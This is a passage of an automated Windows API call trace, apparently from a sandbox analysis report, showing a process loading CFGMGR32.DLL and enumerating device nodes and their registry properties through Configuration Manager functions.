returned 0x7ffb1cee2180 [0192.537] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0192.537] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0192.537] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0192.538] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0192.538] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0192.538] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0192.538] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0192.538] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0192.538] malloc (_Size=0x18) returned 0x20abc281960 [0192.538] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x9, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0192.563] malloc (_Size=0x48) returned 0x20abc2a8be0 [0192.563] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x2e8bca2b, dwHighDateTime=0x1d9eb0c)) [0192.563] SetEvent (hEvent=0x248) returned 1 [0192.564] SetEvent (hEvent=0x248) returned 1 [0192.565] free (_Block=0x20abc2a8be0) [0192.566] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x9, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0192.566] malloc (_Size=0x48) returned 0x20abc27cb20 [0192.566] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x2e8bca2b, dwHighDateTime=0x1d9eb0c)) [0192.566] SetEvent (hEvent=0x248) returned 1 [0192.568] SetEvent (hEvent=0x248) returned 1 [0192.569] free (_Block=0x20abc27cb20) [0192.570] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x9, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0192.571] malloc (_Size=0x48) returned 0x20abc27cb20 [0192.571] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x2e8bca2b, dwHighDateTime=0x1d9eb0c)) [0192.571] SetEvent (hEvent=0x248) returned 1 [0192.572] SetEvent (hEvent=0x248) returned 1 [0192.573] free (_Block=0x20abc27cb20) [0192.573] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x9, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0192.573] malloc (_Size=0x48) returned 0x20abc27cb20 [0192.573] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x2e8bca2b, dwHighDateTime=0x1d9eb0c)) [0192.574] SetEvent (hEvent=0x248) returned 1 [0192.576] SetEvent (hEvent=0x248) returned 1 [0192.577] free (_Block=0x20abc27cb20) [0192.577] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x9, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0192.809] malloc (_Size=0x48) returned 0x20abc27cb20 [0192.809] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x2eaf8a7d, dwHighDateTime=0x1d9eb0c)) [0192.809] SetEvent (hEvent=0x248) returned 1 [0192.810] SetEvent (hEvent=0x248) returned 1 [0192.811] free (_Block=0x20abc27cb20) [0192.811] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x9, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0192.811] malloc (_Size=0x48) returned 0x20abc27cb20 [0192.811] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x2eaf8a7d, dwHighDateTime=0x1d9eb0c)) [0192.811] SetEvent (hEvent=0x248) returned 1 [0192.816] SetEvent (hEvent=0x248) returned 1 [0192.817] free (_Block=0x20abc27cb20) [0192.817] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x9, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0192.817] malloc (_Size=0x48) returned 0x20abc27cb20 [0192.817] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x2eb1edbc, dwHighDateTime=0x1d9eb0c)) [0192.817] SetEvent (hEvent=0x248) returned 1 [0192.818] SetEvent (hEvent=0x248) returned 1 [0192.819] free (_Block=0x20abc27cb20) [0192.819] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x9, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0192.819] malloc (_Size=0x48) returned 0x20abc27cb20 [0192.819] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x2eb1edbc, dwHighDateTime=0x1d9eb0c)) [0192.819] SetEvent (hEvent=0x248) returned 1 [0192.822] SetEvent (hEvent=0x248) returned 1 [0192.822] free (_Block=0x20abc27cb20) [0192.822] CM_Get_Device_IDA (in: dnDevInst=0xa, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ACPI\\PNP0A06\\CPU_HOTPLUG_RESOURCES") returned 0x0 [0192.822] malloc (_Size=0x48) returned 0x20abc27cf80 [0192.822] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x2eb1edbc, dwHighDateTime=0x1d9eb0c)) [0192.823] SetEvent (hEvent=0x248) returned 1 [0192.823] SetEvent (hEvent=0x248) returned 1 [0192.824] free (_Block=0x20abc27cf80) [0192.824] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xa, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0192.824] malloc (_Size=0x5a) returned 0x20abc2801b0 [0192.824] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xa, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2801b0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2801b0, pulLength=0x2dc22fd3f8) returned 0x0 [0192.825] free (_Block=0x20abc2801b0) [0192.825] malloc (_Size=0x48) returned 0x20abc27cb20 [0192.825] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x2eb1edbc, dwHighDateTime=0x1d9eb0c)) [0192.825] SetEvent (hEvent=0x248) returned 1 [0192.825] malloc (_Size=0x18) returned 0x20abc281ee0 [0192.825] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0192.825] free (_Block=0x20abc281ee0) [0192.826] malloc (_Size=0x18) returned 0x20abc281dc0 [0192.826] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abbaf2398) returned 0x0 [0192.826] free (_Block=0x20abc281dc0) [0192.826] malloc (_Size=0x18) returned 0x20abc281e60 [0192.826] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abba795e8) returned 0x0 [0192.826] free (_Block=0x20abc281e60) [0192.826] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0d1f0 [0192.826] SafeArrayGetDim (psa=0x20abba7fe10) returned 0x1 [0192.826] SafeArrayGetLBound (in: psa=0x20abba7fe10, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0192.826] SafeArrayGetUBound (in: psa=0x20abba7fe10, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0192.826] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba6add0 [0192.826] SafeArrayGetDim (psa=0x20abba7fe10) returned 0x1 [0192.826] SafeArrayGetUBound (in: psa=0x20abba7fe10, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0192.826] SafeArrayGetElemsize (psa=0x20abba7fe10) returned 0x8 [0192.826] SafeArrayGetElement (in: psa=0x20abba7fe10, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0192.827] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93ad0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0192.827] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93ad8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0192.827] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93ae0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0192.828] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba6add0) returned 1 [0192.828] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0d1f0) returned 1 [0192.828] SetEvent (hEvent=0x248) returned 1 [0192.829] free (_Block=0x20abc27cb20) [0192.829] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xa, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x25 [0192.829] malloc (_Size=0x48) returned 0x20abc27cb20 [0192.829] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x2eb450ae, dwHighDateTime=0x1d9eb0c)) [0192.829] SetEvent (hEvent=0x248) returned 1 [0192.847] SetEvent (hEvent=0x248) returned 1 [0192.848] free (_Block=0x20abc27cb20) [0192.848] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xa, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0192.861] malloc (_Size=0x48) returned 0x20abc27cb20 [0192.861] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x2eb9133f, dwHighDateTime=0x1d9eb0c)) [0192.861] SetEvent (hEvent=0x248) returned 1 [0192.862] SetEvent (hEvent=0x248) returned 1 [0192.863] free (_Block=0x20abc27cb20) [0192.863] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xa, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0192.863] malloc (_Size=0x48) returned 0x20abc27cb20 [0192.863] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x2eb9133f, dwHighDateTime=0x1d9eb0c)) [0192.864] SetEvent (hEvent=0x248) returned 1 [0192.864] SetEvent (hEvent=0x248) returned 1 [0192.865] free (_Block=0x20abc27cb20) [0192.865] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xa, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0192.866] malloc (_Size=0x48) returned 0x20abc27cf80 [0192.866] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x2eb9133f, dwHighDateTime=0x1d9eb0c)) [0192.866] SetEvent (hEvent=0x248) returned 1 [0192.867] SetEvent (hEvent=0x248) returned 1 [0192.867] free (_Block=0x20abc27cf80) [0192.867] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xa, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0192.868] malloc (_Size=0x48) returned 0x20abc27cf80 [0192.868] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x2eb9133f, dwHighDateTime=0x1d9eb0c)) [0192.868] SetEvent (hEvent=0x248) returned 1 [0192.870] SetEvent (hEvent=0x248) returned 1 [0192.871] free (_Block=0x20abc27cf80) [0192.871] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xa, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0192.875] malloc (_Size=0x48) returned 0x20abc27cb20 [0192.875] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x2eb9133f, dwHighDateTime=0x1d9eb0c)) [0192.875] SetEvent (hEvent=0x248) returned 1 [0193.080] malloc (_Size=0xd8) returned 0x20abc2867b0 [0193.080] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0193.080] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0193.080] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0193.080] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0193.080] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0193.081] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0193.081] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0193.081] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0193.081] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0193.081] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0193.081] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0193.081] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0193.081] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0193.082] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0193.082] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0193.082] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0193.082] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0193.082] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0193.082] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0193.082] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0193.083] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0193.083] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0193.083] malloc (_Size=0x18) returned 0x20abc281aa0 [0193.083] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0xa, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0193.083] malloc (_Size=0x48) returned 0x20abc27cb20 [0193.083] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x2eda74f7, dwHighDateTime=0x1d9eb0c)) [0193.083] SetEvent (hEvent=0x248) returned 1 [0193.085] SetEvent (hEvent=0x248) returned 1 [0193.087] free (_Block=0x20abc27cb20) [0193.087] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0xa, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0193.087] malloc (_Size=0x48) returned 0x20abc27cb20 [0193.087] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x2eda74f7, dwHighDateTime=0x1d9eb0c)) [0193.087] SetEvent (hEvent=0x248) returned 1 [0193.090] SetEvent (hEvent=0x248) returned 1 [0193.091] free (_Block=0x20abc27cb20) [0193.091] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xa, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0193.091] malloc (_Size=0x48) returned 0x20abc27cf80 [0193.092] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x2eda74f7, dwHighDateTime=0x1d9eb0c)) [0193.092] SetEvent (hEvent=0x248) returned 1 [0193.094] SetEvent (hEvent=0x248) returned 1 [0193.096] free (_Block=0x20abc27cf80) [0193.096] CM_Get_Device_IDA (in: dnDevInst=0xb, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="SWD\\PRINTENUM\\PRINTQUEUES") returned 0x0 [0193.096] malloc (_Size=0x48) returned 0x20abc27cf80 [0193.096] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x2edcd6f5, dwHighDateTime=0x1d9eb0c)) [0193.096] SetEvent (hEvent=0x248) returned 1 [0193.097] SetEvent (hEvent=0x248) returned 1 [0193.098] free (_Block=0x20abc27cf80) [0193.098] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xb, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0193.098] malloc (_Size=0x36) returned 0x20abc280fd0 [0193.099] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xb, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc280fd0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc280fd0, pulLength=0x2dc22fd3f8) returned 0x0 [0193.099] free (_Block=0x20abc280fd0) [0193.099] malloc (_Size=0x48) returned 0x20abc2a8be0 [0193.099] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x2edcd6f5, dwHighDateTime=0x1d9eb0c)) [0193.099] SetEvent (hEvent=0x248) returned 1 [0193.100] malloc (_Size=0x18) returned 0x20abc282000 [0193.100] SafeArrayPutElement (psa=0x20abba80790, rgIndices=0x2dc22fd4c8, pv=0x20abc4742b8) returned 0x0 [0193.100] free (_Block=0x20abc282000) [0193.100] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0bdf0 [0193.100] SafeArrayGetDim (psa=0x20abba80790) returned 0x1 [0193.100] SafeArrayGetLBound (in: psa=0x20abba80790, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0193.100] SafeArrayGetUBound (in: psa=0x20abba80790, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0193.100] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba6add0 [0193.100] SafeArrayGetDim (psa=0x20abba80790) returned 0x1 [0193.100] SafeArrayGetUBound (in: psa=0x20abba80790, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0193.100] SafeArrayGetElemsize (psa=0x20abba80790) returned 0x8 [0193.101] SafeArrayGetElement (in: psa=0x20abba80790, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0193.101] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc402230, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0193.102] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba6add0) returned 1 [0193.102] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0bdf0) returned 1 [0193.102] SetEvent (hEvent=0x248) returned 1 [0193.103] free (_Block=0x20abc2a8be0) [0193.103] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xb, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0193.103] malloc (_Size=0x38) returned 0x20abc281210 [0193.103] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xb, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc281210, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc281210, pulLength=0x2dc22fd3f8) returned 0x0 [0193.104] free (_Block=0x20abc281210) [0193.104] malloc (_Size=0x48) returned 0x20abc27cf80 [0193.104] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x2edcd6f5, dwHighDateTime=0x1d9eb0c)) [0193.104] SetEvent (hEvent=0x248) returned 1 [0193.105] malloc (_Size=0x18) returned 0x20abc281a00 [0193.105] SafeArrayPutElement (psa=0x20abba803d0, rgIndices=0x2dc22fd4c8, pv=0x20abbaf2398) returned 0x0 [0193.105] free (_Block=0x20abc281a00) [0193.105] malloc (_Size=0x18) returned 0x20abc281d60 [0193.105] SafeArrayPutElement (psa=0x20abba803d0, rgIndices=0x2dc22fd4c8, pv=0x20abba795b8) returned 0x0 [0193.105] free (_Block=0x20abc281d60) [0193.105] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0c470 [0193.105] SafeArrayGetDim (psa=0x20abba803d0) returned 0x1 [0193.105] SafeArrayGetLBound (in: psa=0x20abba803d0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0193.105] SafeArrayGetUBound (in: psa=0x20abba803d0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0193.105] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba6add0 [0193.105] SafeArrayGetDim (psa=0x20abba803d0) returned 0x1 [0193.105] SafeArrayGetUBound (in: psa=0x20abba803d0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0193.105] SafeArrayGetElemsize (psa=0x20abba803d0) returned 0x8 [0193.105] SafeArrayGetElement (in: psa=0x20abba803d0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0193.106] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93ad0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0193.106] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93ad8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0193.107] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba6add0) returned 1 [0193.107] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0c470) returned 1 [0193.107] SetEvent (hEvent=0x248) returned 1 [0193.108] free (_Block=0x20abc27cf80) [0193.108] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xb, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0193.115] malloc (_Size=0x48) returned 0x20abc27cf80 [0193.115] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x2edf38cb, dwHighDateTime=0x1d9eb0c)) [0193.115] SetEvent (hEvent=0x248) returned 1 [0193.116] SetEvent (hEvent=0x248) returned 1 [0193.116] free (_Block=0x20abc27cf80) [0193.116] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xb, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0193.116] malloc (_Size=0x48) returned 0x20abc27cf80 [0193.117] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x2edf38cb, dwHighDateTime=0x1d9eb0c)) [0193.117] SetEvent (hEvent=0x248) returned 1 [0193.117] SetEvent (hEvent=0x248) returned 1 [0193.118] free (_Block=0x20abc27cf80) [0193.118] 